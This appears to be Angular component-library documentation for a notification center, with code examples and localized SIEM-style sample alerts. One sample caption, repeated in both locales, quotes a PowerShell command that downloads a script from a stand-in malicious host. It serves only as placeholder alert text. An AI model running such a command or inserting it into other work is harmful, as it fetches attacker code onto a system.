            },
            { title: 'Запущена проверка соответствия политикам' },
            {
                title: 'Выполнена подозрительная команда PowerShell',
                caption: 'Команда: Invoke-WebRequest -Uri http://malicious.example/file.ps1'
            },
            { title: 'Обнаружена попытка фишинга по почте', caption: 'Отправитель: attacker@phishmail.com' },
            { title: 'Проверка работоспособности SIEM пройдена' },
            { title: 'Необычный объем передачи данных', caption: 'Рабочая станция PC-112 выгрузила 8 ГБ за 10 минут' },
            {
                title: 'Не установлено критическое обновление',
                caption: 'На Server-APP-09 нет обновления Microsoft KB500822'
            },
            {
                title: 'Учетная запись заблокирована из-за подозрительной активности',
                caption: 'Пользователь linda.j заблокирован после аномальных действий'
            },
            { title: 'Нехватка места на диске устранена', caption: 'Выполнена очистка на Server-BCK-02' },
            { title: 'Сформирован ежедневный отчет SIEM', caption: 'Доступен отчет: ежедневный № 20250927' }
        ]
    },
    default: {
        appName: 'Short App Name',
        assets: 'Assets',
        issues: 'Issues',
        incidents: 'Incidents',
        policies: 'Policies',
        security: 'Security',
        notifications: 'Notifications',
        systemMonitor: 'System Monitor',
        administrator: 'Administrator',
        issueStatuses: { open: 'Open', inProgress: 'In Progress', complete: 'Complete', closed: 'Closed' },
        securitySections: {
            identity: 'Identity',
            membersAndGuests: 'Members and guests',
            dataRetention: 'Data retention'
        },
        pageTitle: 'Page Title',
        primaryAction: 'Primary Action',
        emptyState: { image: 'Empty state', title: 'No items', text: 'No objects have been added here yet' },
        action1: 'Action 1',
        action2: 'Action 2',
        richCaption: 'Advanced threat detection system blocked sophisticated APT attack',
        pushNotification: 'push notification',
        pushedTitle: 'New notification',
        pushedCaption: 'New notification caption',
        pageItemTitle: (index) => `Notification #${index}`,
        pageItemCaption: (page) => `Loaded with page ${page}`,
        popoverAppName: 'App name',
        projects: 'Projects',
        list: [
            { title: 'Security team successfully prevented major cyber attack' },
            {
                title: 'Suspicious login detected from 192.168.1.45',
                caption: 'User admin attempted login from unusual location'
            },
            { title: 'High CPU usage on Server-DB-01', caption: 'Process mysqld exceeded 90% CPU' },
            {
                title: 'New rule triggered: Malware beaconing',
                caption: 'Detected suspicious traffic to known C2 server'
            },
            { title: 'Critical: Unauthorized file access attempt' },
            { title: 'New admin account created', caption: 'Account sec-admin was added' },
            { title: 'Firewall rule updated', caption: 'Rule Allow RDP modified by ops-team' },
            { title: 'Failed login attempts exceeded threshold', caption: 'User john.doe failed 15 times' },
            { title: 'Vulnerability scan completed', caption: 'Report available: Scan #884' },
            { title: 'Brute-force attack blocked', caption: 'IP 203.0.113.55 automatically blacklisted' },
            { title: 'SIEM correlation rule update applied' },
            { title: 'Critical: Ransomware pattern detected', caption: 'Suspicious encryption on Server-FS-03' },
            { title: 'Backup job completed successfully', caption: 'Job ID BKP-20251001-06' },
            { title: 'User password reset request', caption: 'User alex.smith requested password reset' },
            { title: 'SIEM system update installed' },
            { title: 'Critical: Lateral movement detected', caption: 'Suspicious Kerberos ticket use by srv-ops' },
            { title: 'Disk usage exceeded 90%', caption: 'Server-DB-02 partition /var almost full' },
            { title: 'New device connected: USB storage', caption: 'Device ID USB-7782 on workstation PC-004' },
            { title: 'Suspicious outbound traffic', caption: 'Connection to blacklisted domain bad-domain.com' },
            { title: 'SIEM license will expire in 30 days' },
            { title: 'User added to privileged group', caption: 'mike.ross added to Domain Admins' },
            { title: 'Policy compliance scan started' },
            {
                title: 'Suspicious PowerShell command executed',
                caption: 'Command: Invoke-WebRequest -Uri http://malicious.example/file.ps1'
            },
            { title: 'Email phishing attempt detected', caption: 'Sender: attacker@phishmail.com' },
            { title: 'SIEM system health check passed' },
            { title: 'Unusual data transfer volume', caption: 'Workstation PC-112 uploaded 8 GB in 10 min' },
            { title: 'Critical patch missing', caption: 'Server-APP-09 missing MS patch KB500822' },
            {
                title: 'Account locked due to suspicious activity',
                caption: 'User linda.j locked after abnormal behavior'
            },
            { title: 'Low disk space resolved', caption: 'Cleanup performed on Server-BCK-02' },
            { title: 'SIEM daily report generated', caption: 'Report available: Daily #20250927' }
        ]
    }
};

/** Text of the examples in the active locale. */
export const injectExampleText = (): Signal<ExampleText> => injectLocalizedText(TEXT);

/**
 * What the example notifications have in common across locales; their text comes from
 * {@link ExampleText.list} by position. `richCaption` items take the caption template instead.
 * `date` has no year: the notifications are dated in the current one.
 */
const NOTIFICATIONS: { date: string; style: KbqToastStyle; actions?: boolean; richCaption?: boolean }[] = [
    { date: '10-03T10:30:00Z', style: KbqToastStyle.Success, actions: true, richCaption: true },
    { date: '10-03T09:01:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '10-03T09:10:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '10-03T09:15:00Z', style: KbqToastStyle.Error },
    { date: '10-02T23:45:00Z', style: KbqToastStyle.Error, actions: true, richCaption: true },
    { date: '10-02T20:30:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '10-02T18:10:00Z', style: KbqToastStyle.Contrast },
    { date: '10-02T14:22:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '10-02T12:00:00Z', style: KbqToastStyle.Contrast },
    { date: '10-01T23:50:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '10-01T20:15:00Z', style: KbqToastStyle.Contrast },
    { date: '10-01T17:40:00Z', style: KbqToastStyle.Error, actions: true },
    { date: '10-01T06:15:00Z', style: KbqToastStyle.Success },
    { date: '09-30T23:59:00Z', style: KbqToastStyle.Contrast },
    { date: '09-30T21:20:00Z', style: KbqToastStyle.Success },
    { date: '09-30T19:05:00Z', style: KbqToastStyle.Error },
    { date: '09-30T13:45:00Z', style: KbqToastStyle.Warning },
    { date: '09-30T09:18:00Z', style: KbqToastStyle.Warning },
    { date: '09-29T23:15:00Z', style: KbqToastStyle.Error },
    { date: '09-29T21:10:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '09-29T18:40:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '09-29T15:00:00Z', style: KbqToastStyle.Contrast },
    { date: '09-29T09:45:00Z', style: KbqToastStyle.Error },
    { date: '09-29T07:20:00Z', style: KbqToastStyle.Error, actions: true },
    { date: '09-28T22:30:00Z', style: KbqToastStyle.Success },
    { date: '09-28T19:15:00Z', style: KbqToastStyle.Warning },
    { date: '09-28T14:00:00Z', style: KbqToastStyle.Error },
    { date: '09-28T08:55:00Z', style: KbqToastStyle.Warning, actions: true },
    { date: '09-27T21:40:00Z', style: KbqToastStyle.Success },
    { date: '09-27T08:00:00Z', style: KbqToastStyle.Contrast, actions: true }
];

/**
 * The example notification list in the language of `text`. The ids are stable, so a list rebuilt on a
 * locale switch keeps the read state it had in `current`.
 */
export const createNotifications = (
    text: ExampleText,
    templates: { actions: TemplateRef<unknown>; caption?: TemplateRef<unknown> },
    current: KbqNotificationItem[] = []
): KbqNotificationItem[] => {
    const read = new Map(current.map((item) => [item.id, item.read]));
    const year = new Date().getUTCFullYear();

    return NOTIFICATIONS.map(({ date, actions, richCaption, ...item }, index) => {
        const id = String(index + 1);
        const { title, caption } = text.list[index];

        return {
            ...item,
            id,
            date: `${year}-${date}`,
            title,
            caption: richCaption ? templates.caption : caption,
            icon: true,
            actions: actions ? templates.actions : undefined,
            read: read.get(id)
        };
    });
};
```

The notification list opens from the main menu. The menu shows an unread message counter: it is hidden when the count is 0, and displays "99+" when the count exceeds 99.

New notifications appear in the list and are grouped by date, with the newest at the top. Each item has a title and timestamp; optionally it may include a caption and actions. A delete button appears on hover or focus. Messages can be cleared per day or all at once.

The date adapter and the formatter have to be provided at the application root — `importProvidersFrom(KbqLuxonDateModule, KbqFormattersModule)` at bootstrap, or the Moment equivalent. `KbqNotificationCenterService` is `providedIn: 'root'` and reads both, so an adapter provided on a feature module or on a component does not reach it.

The `date` of a notification is any value the configured `DateAdapter` parses without an explicit format — ISO 8601, RFC 2822 or SQL for the Luxon adapter. It drives both the date group and the ordering. A value the adapter cannot parse is shown verbatim as its own group heading and sorted last, instead of breaking the list.

Unread messages are marked with a blue dot and by an "Unread" label for screen readers. Dwelling on an item — with the pointer or with keyboard focus — or interacting with it (link, button, delete) marks the message as read.

#### Empty state

In the empty state, a "No notifications" message is displayed and the "Delete all" button is hidden.

**Example: notification-center-empty** (`notification-center-empty`)

```ts notification-center-empty-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, KbqThemeService, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqNotificationCenterModule, KbqNotificationCenterService } from '@koobiq/components/notification-center';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';
import { injectExampleText } from '../localized-data';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

enum NavbarIcItems {
    Assets,
    Issues,
    Incidents,
    Policies,
    Security
}

@Component({
    selector: 'notification-center-empty-example',
    imports: [
        KbqNotificationCenterModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqEmptyStateModule,
        KbqTopBarModule,
        KbqButtonModule,
        KbqDropdownModule,
        LuxonDateModule,
        KbqFormattersModule,
        KbqNavbarModule
    ],
    templateUrl: 'notification-center-empty-example.html',
    styles: `
        ::ng-deep .example-notification-center-panel {
            margin-top: -139px;
        }
    `,
    providers: [
        { provide: KbqNotificationCenterService, useClass: KbqNotificationCenterService }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterEmptyExample {
    readonly notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly themeService = inject(KbqThemeService, { optional: true });
    protected readonly currentTheme = computed(() => this.themeService?.colorScheme() ?? 'light');

    protected readonly srcSet = computed(() => {
        const currentTheme = this.currentTheme();

        return `https://koobiq.io/assets/images/${currentTheme}/empty_192.webp 1x, https://koobiq.io/assets/images/${currentTheme}/empty_192@2x.webp 2x`;
    });

    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected items = NavbarIcItems;
    protected selected: NavbarIcItems = NavbarIcItems.Assets;

    protected readonly actions = computed<ExampleAction[]>(() => [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Filled,
            text: this.text().primaryAction
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-ellipsis-horizontal_16'
        }
    ]);

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

```html notification-center-empty-example.html
<kbq-dropdown #issuesDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.open }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.inProgress }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.complete }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.closed }}</a>
</kbq-dropdown>

<kbq-dropdown #securityDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.identity }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.membersAndGuests }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.dataRetention }}</a>
</kbq-dropdown>

<div class="layout-row" style="margin: -20px; height: 498px">
    <kbq-vertical-navbar>
        <kbq-navbar-container>
            <kbq-navbar-item bento>
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Assets"
                (click)="selected = items.Assets"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().assets }}</div>
            </a>

            <kbq-navbar-item
                #issuesDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Issues"
                [kbqDropdownTriggerFor]="issuesDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().issues }}</div>
            </kbq-navbar-item>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Incidents"
                (click)="selected = items.Incidents"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().incidents }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Policies"
                (click)="selected = items.Policies"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().policies }}</div>
            </a>

            <kbq-navbar-item
                #securityDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Security"
                [kbqDropdownTriggerFor]="securityDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().security }}</div>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <div
                #trigger="kbqNotificationCenterTrigger"
                kbq-navbar-item
                kbqNotificationCenterTrigger
                [popoverHeight]="'500px'"
                [kbqNotificationCenterPanelClass]="'example-notification-center-panel'"
            >
                <i
                    kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                    color="contrast"
                ></i>
                <div kbq-navbar-title>{{ text().notifications }}</div>
                @if (trigger.unreadItemsCounter(); as unreadItems) {
                    <kbq-badge
                        [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'"
                        [compact]="true"
                    >
                        {{ unreadItems }}
                    </kbq-badge>
                }
            </div>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-circle_16" color="success"></i>
                <div kbq-navbar-title>{{ text().systemMonitor }}</div>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().administrator }}</span>
            </a>
        </kbq-navbar-container>

        <kbq-navbar-toggle />
    </kbq-vertical-navbar>

    <div class="layout-fill">
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="kbq-truncate-line" kbqTopBarTitle>{{ text().pageTitle }}</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer [placement]="'end'">
                @for (action of actions(); track action.id) {
                    <button kbq-button [kbqStyle]="action.style" [color]="action.color">
                        @if (action.icon) {
                            <i kbq-icon="" [class]="action.icon"></i>
                        }
                        @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                            {{ action.text }}
                        }
                    </button>
                }
            </div>
        </kbq-top-bar>

        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-icon>
                <img
                    src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                    height="80"
                    width="80"
                    [alt]="text().emptyState.image"
                    [srcset]="srcSet()"
                />
            </div>
            <div kbq-empty-state-title>{{ text().emptyState.title }}</div>
            <div kbq-empty-state-text>{{ text().emptyState.text }}</div>
        </kbq-empty-state>
    </div>
</div>
```

#### Error

If notifications fail to load, a "Failed to load notifications" message and a "Repeat" button are shown instead of the list. Enable this state with `setErrorMode`, and subscribe to `KbqNotificationCenterService.onReload` to retry loading when the button is pressed.

**Example: notification-center-error** (`notification-center-error`)

```ts notification-center-error-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import {
    ChangeDetectionStrategy,
    Component,
    computed,
    effect,
    inject,
    signal,
    TemplateRef,
    viewChild
} from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, KbqThemeService, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqNotificationCenterModule, KbqNotificationCenterService } from '@koobiq/components/notification-center';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';
import { createNotifications, injectExampleText } from '../localized-data';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

enum NavbarIcItems {
    Assets,
    Issues,
    Incidents,
    Policies,
    Security
}

@Component({
    selector: 'notification-center-error-example',
    imports: [
        KbqNotificationCenterModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqEmptyStateModule,
        KbqTopBarModule,
        KbqButtonModule,
        KbqDropdownModule,
        KbqLink,
        LuxonDateModule,
        KbqFormattersModule,
        KbqNavbarModule
    ],
    templateUrl: 'notification-center-error-example.html',
    styles: `
        ::ng-deep .example-notification-center-panel {
            margin-top: -139px;
        }
    `,
    providers: [
        { provide: KbqNotificationCenterService, useClass: KbqNotificationCenterService }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterErrorExample {
    notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly actionsTemplate = viewChild<TemplateRef<unknown>>('actionsTemplate');

    /** Whether the list was loaded with the reload button of the error state. */
    private readonly loaded = signal(false);

    private readonly themeService = inject(KbqThemeService, { optional: true });
    protected readonly currentTheme = computed(() => this.themeService?.colorScheme() ?? 'light');

    protected readonly srcSet = computed(() => {
        const currentTheme = this.currentTheme();

        return `https://koobiq.io/assets/images/${currentTheme}/empty_192.webp 1x, https://koobiq.io/assets/images/${currentTheme}/empty_192@2x.webp 2x`;
    });

    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected items = NavbarIcItems;
    protected selected: NavbarIcItems = NavbarIcItems.Assets;

    protected readonly actions = computed<ExampleAction[]>(() => [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Filled,
            text: this.text().primaryAction
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-ellipsis-horizontal_16'
        }
    ]);

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;

    constructor() {
        this.notificationService.setErrorMode(true);

        this.notificationService.onReload.subscribe(() => {
            this.notificationService.setErrorMode(false);

            this.loaded.set(true);
        });

        // Built once the list is reloaded, and rebuilt on a locale switch to follow the language.
        effect(() => {
            const actions = this.actionsTemplate();

            if (!this.loaded() || !actions) return;

            this.notificationService.items = createNotifications(
                this.text(),
                { actions },
                this.notificationService.items
            );
        });
    }
}
```

```html notification-center-error-example.html
<kbq-dropdown #issuesDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.open }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.inProgress }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.complete }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.closed }}</a>
</kbq-dropdown>

<kbq-dropdown #securityDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.identity }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.membersAndGuests }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.dataRetention }}</a>
</kbq-dropdown>

<ng-template #actionsTemplate>
    <a kbqLink pseudo>{{ text().action1 }}</a>
    <a kbqLink pseudo>{{ text().action2 }}</a>
</ng-template>

<div class="layout-row" style="margin: -20px; height: 498px">
    <kbq-vertical-navbar>
        <kbq-navbar-container>
            <kbq-navbar-item bento>
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Assets"
                (click)="selected = items.Assets"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().assets }}</div>
            </a>

            <kbq-navbar-item
                #issuesDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Issues"
                [kbqDropdownTriggerFor]="issuesDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().issues }}</div>
            </kbq-navbar-item>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Incidents"
                (click)="selected = items.Incidents"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().incidents }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Policies"
                (click)="selected = items.Policies"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().policies }}</div>
            </a>

            <kbq-navbar-item
                #securityDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Security"
                [kbqDropdownTriggerFor]="securityDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().security }}</div>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <div
                #trigger="kbqNotificationCenterTrigger"
                kbq-navbar-item
                kbqNotificationCenterTrigger
                [popoverHeight]="'500px'"
                [kbqNotificationCenterPanelClass]="'example-notification-center-panel'"
            >
                <i
                    kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                    color="contrast"
                ></i>
                <div kbq-navbar-title>{{ text().notifications }}</div>
                @if (trigger.unreadItemsCounter(); as unreadItems) {
                    <kbq-badge
                        [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'"
                        [compact]="true"
                    >
                        {{ unreadItems }}
                    </kbq-badge>
                }
            </div>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-circle_16" color="success"></i>
                <div kbq-navbar-title>{{ text().systemMonitor }}</div>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().administrator }}</span>
            </a>
        </kbq-navbar-container>

        <kbq-navbar-toggle />
    </kbq-vertical-navbar>

    <div class="layout-fill">
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="kbq-truncate-line" kbqTopBarTitle>{{ text().pageTitle }}</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer [placement]="'end'">
                @for (action of actions(); track action.id) {
                    <button kbq-button [kbqStyle]="action.style" [color]="action.color">
                        @if (action.icon) {
                            <i kbq-icon="" [class]="action.icon"></i>
                        }
                        @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                            {{ action.text }}
                        }
                    </button>
                }
            </div>
        </kbq-top-bar>

        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-icon>
                <img
                    src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                    height="80"
                    width="80"
                    [alt]="text().emptyState.image"
                    [srcset]="srcSet()"
                />
            </div>
            <div kbq-empty-state-title>{{ text().emptyState.title }}</div>
            <div kbq-empty-state-text>{{ text().emptyState.text }}</div>
        </kbq-empty-state>
    </div>
</div>
```

#### Infinite scroll

The list can load notifications page by page as the user scrolls to the bottom. Subscribe to `KbqNotificationCenterService.onNextPage` to fetch the next page, append the result to `items`, and control the flow with `setLoadingMore`, `setHasMore` and `setLoadMoreErrorMode`. The threshold at which loading starts is configured with the `scrolledToBottomOffset` input.

**Example: notification-center-infinite-scroll** (`notification-center-infinite-scroll`)

```ts notification-center-infinite-scroll-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, computed, DestroyRef, effect, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, KbqThemeService } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import {
    KbqNotificationCenterModule,
    KbqNotificationCenterService,
    KbqNotificationItem
} from '@koobiq/components/notification-center';
import { KbqToastStyle } from '@koobiq/components/toast';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { timer } from 'rxjs';
import { map } from 'rxjs/operators';
import { ExampleText, injectExampleText } from '../localized-data';

/** Items per loaded page. */
const PAGE_SIZE = 20;
/** Total number of pages the fake backend can serve. */
const TOTAL_PAGES = 5;
/** Simulated network latency, ms. */
const LOAD_DELAY = 800;
/** Fixed base date so generated notifications group by day deterministically. */
const BASE_DATE = Date.parse('2025-10-08T12:00:00Z');

const STYLES = [KbqToastStyle.Success, KbqToastStyle.Warning, KbqToastStyle.Error, KbqToastStyle.Contrast];

/** Title and caption of the notification at the 1-based `position` of the list. */
const itemText = (text: ExampleText, position: number) => ({
    title: text.pageItemTitle(position),
    caption: text.pageItemCaption(Math.ceil(position / PAGE_SIZE))
});

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

enum NavbarIcItems {
    Assets,
    Issues,
    Incidents,
    Policies,
    Security
}

@Component({
    selector: 'notification-center-infinite-scroll-example',
    imports: [
        KbqNotificationCenterModule,
        KbqButtonModule,
        KbqIconModule,
        KbqBadgeModule,
        LuxonDateModule,
        KbqFormattersModule,
        KbqDropdownModule,
        KbqEmptyStateModule,
        KbqNavbarModule,
        KbqTopBarModule
    ],
    templateUrl: 'notification-center-infinite-scroll-example.html',
    providers: [{ provide: KbqNotificationCenterService, useClass: KbqNotificationCenterService }],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterInfiniteScrollExample {
    protected readonly notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly destroyRef = inject(DestroyRef);

    /** Index of the last loaded page. */
    private currentPage = 0;
